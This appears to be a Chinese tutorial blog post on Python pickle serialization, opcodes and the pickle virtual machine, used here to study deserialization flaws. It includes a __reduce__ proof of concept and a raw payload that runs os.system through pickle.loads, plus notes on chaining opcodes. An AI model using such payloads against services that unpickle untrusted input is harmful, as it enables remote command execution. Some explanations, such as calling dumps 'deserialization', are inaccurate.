# python 的序列化和反序列化

​ 程序运行的过程中,所有对象都是在内存中操作的,当程序一旦执行完毕,对象占有的内存会被收回,如果我们想重复调用这些对象就需要将这些对象持久化储存到内存中,下次运行的时候直接读取相关数据,我们将对象从内存中变成可以持久化储存的数据的过程称为序列化

# 可序列化的对象

  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • None、True 和 False

# pickle 库和函数

pickle 是 python 语言的一个标准模块,实现了基本数据的序列化和反序列化
dumps 将对象反序列化为 bytes 对象
dump 将对象反序列化到文件对象,存入文件

loads 对 bytes 对象进行反序列化
load 通过对象反序列化,从文件中读取数据

首先通过几个例子来看一下几个函数的作用

dump/load

#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)
import pickle
import pickletools
import os
class test(object):
    def __init__(self):
        self.value1='abc1'
        self.value2='abc2'
x=test()
file=open('1.txt','wb')
y=pickle.dump(x,file)
print(file)
file.close()
file1=open('1.txt','rb')
z=pickle.load(file1)
print(z)
#序列化
pickle.dumps(obj, protocol=None,*,fix_imports=True)
dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。
#反序列化
pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")
loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。
import pickle
import pickletools
import os
class test(object):
    def __init__(self):
        self.value1='a'
        self.value2='b'
x=test()
y=pickle.dumps(x)
print(y)
z=pickle.loads(y)
print(z)

image-20220820152155604

从上面两个例子可以知道 python 怎么实现序列化和反序列的操作,接下来记录序列化后的字符串是的含义

# PVM

Python 是一个名为解释器的软件包,解释器是可以让程序运行起来的一套程序,具有独立性,当我们运行一个 python 程序的时候会执行两个步骤

  1. 先将将源码编译成字节码(字节码是 python 特有的一种表现形式,需要进一步编译才能被机器执行,如果 python 进程在主机上面有写入权限,那么它会吧程序字节码保存为一个.pyc 为扩展名的文件,如果没用则在内存中生成字节码在程序执行结束后被自动抛弃)
  2. python 程序将编译好的字节码转发到 PVM(python 虚拟机)中,PVM 会循环迭代执行字节码码指令

(https://blog.csdn.net/G1011/article/details/102908886)

# PVM 和 Pickle 的关系

pickle 是一门基于栈的编程语言,有不同的编程方式,其本质就是一个轻量级的 PVM

这个轻量级的 PVM 由三部分组成及功能:

指令处理器:

从数据流中读取操作码和参数,并对其进行解释处理,之时处理器会循环这个过程,不断改变栈区(stack)和标签区(memo)区域的值,知道遇到.结束。这时最终停留在栈顶的值将会被作为反序列化对象返回

栈区(stack):

由python的列表(list)实现,作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

标签区(memo):

由python的字典(dict)实现,可以看作是数据索引或者标记,为PVM的整个生命周期提供储存功能

# python2

几个比较重要的操作码:

c: 读取本行的内容作为模块名(module), 读取下一行的内容作为对象名object,然后将 module.object作为可调用对象压入到栈中
(: 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
S: 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
t: 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
R: 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用对象的参数并执行该对象 。最后将结果压入到栈中
.: 结束整个 Pickle反序列化过程
ccopy_reg 			#引入copy_reg模块
_reconstructor 		#引入_reconstructor对象
p0 					#p:将栈顶数据(copy_reg._reconstructor)存储在memo中,0是编号
(c__main__ 			#引入__main__模块
test				#引入test对象
p1					#将栈顶数据(__main__.test)存储在memo中,1是编号
c__builtin__		#引入__builtin__模块
object				#引入object对象
p2					#将栈顶数据(__builtin__.object)存储在memo中,2是编号
Ntp3				#依次从栈中弹出数据直到(,此时弹出的数据组成一个元组,最后将该元组入栈
Rp4					#将元组和可调用对象全部弹出并执行,将结果压入栈顶,然后将栈顶数据存储在memo中
					#这里便完成了所有需要的模块和类对象的调用
(dp5				#在栈顶创建一个字典,将memo中的内容转换成键值对并存储在这个字典中
					#然后栈顶(这个字典)存储在memo中,5是编号
S'value2'			#创建字符串'value2'
p6					#存储在memo中
S'b'				#创建字符串’b‘
p7					#存储在memo中
sS'value1'			#s:将'value2':'b'作为键值对添加到字典中,创建字符串'value1'
p8					#存储在memo中
S'a'				#创建字符串'a'
p9					#存储在memo中
sb.					#将'value1':'a'作为键值对添加到字典中,b:调用setstate或者dic.update()更新字典内容
					#读取到.结束pickle序列化过程

copy_reg 模块,提供了在 pickle 或是 copy 特定对象时,可以运行一个指定的函数,作为对象的构造器

# python3

python 运行结果与 python2 不同,这里只有 picpletools

image-20220820163443278

0x80:机器看到这个操作符,立刻再去字符串读取一个字节,得到 x04。解释为 “这是一个依据 4 号协议序列化的字符串”,这个操作结束。
\x8c:创建(引入)对象

):向栈中压入一个空数组
\x81:从栈空间弹出一个类和参数,并用这个参数实例化这个弹出来的类,最终把实例化的类再次压回栈中。
}:压入一个空的字典
(:向栈中压入一个 MARK 标记
X/V:实例化一个字符串
u:以键值对的形式进行数据组合(组合的数据为当前栈空间位置到上一个 MARK 之间的数据),并全部添加或更新到该 MARK 之前的一个字典中
b:利用填充好的字典和实例化好的对象进行属性赋值。
. STOP 简单易懂,结束序列化。

# pickle 反序列化漏洞分析

常见 python 反序列化漏洞出现在__educe__() 魔法函数上,这个函数与 PHP 中的__wakeup()魔术方法类似,都是因为每当反序列化时自动调用

import pickle
import os
import pickletools
class test(object):
    def __init__(self):
        self.value1='abc1'
        self.value2='abc2'
    def __reduce__(self):
        ls="dir"
        return (os.system,(ls,))
user = test()
y = pickle.dumps(user)
y = pickletools.optimize(y)
print(y)

image-20220820162806423

import pickle
payload=b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x8c\x06system\x93\x8c\x03dir\x85R.'
pickle.loads(payload)

image-20220820162837675

这里成功执行了系统命令

# opcode

如果需要一次执行多个函数,那么 opcode 尤为重要

opcode描述具体写法栈上的变化memo 上的变化
c获取一个全局对象或 import 一个模块(注:会调用 import 语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个 NoneN获得的对象入栈
S实例化一个字符串对象S'xxx'\n(也可以使用双引号、' 等 python 字符串形式)获得的对象入栈
V实例化一个 UNICODE 字符串对象Vxxx\n获得的对象入栈
I实例化一个 int 对象Ixxx\n获得的对象入栈
F实例化一个 float 对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为 pickle.loads () 的返回值.
(向栈中压入一个 MARK 标记(MARK 标记入栈
t寻找栈中的上一个 MARK,并组合之间的数据为元组tMARK 标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个 MARK,并组合之间的数据为列表lMARK 标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对)dMARK 标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至 memo_npn\n对象被储存
g将 memo_n 的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名:属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为 key-value 对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中uMARK 标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素 append 到第二个元素 (列表) 中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中eMARK 标记以及被组合的数据出栈,列表被更新

# 拼接 opcode

将第一个 pickle 流结尾表示结束的。去掉,将第二个 pickle 流与第一个拼接起来即可。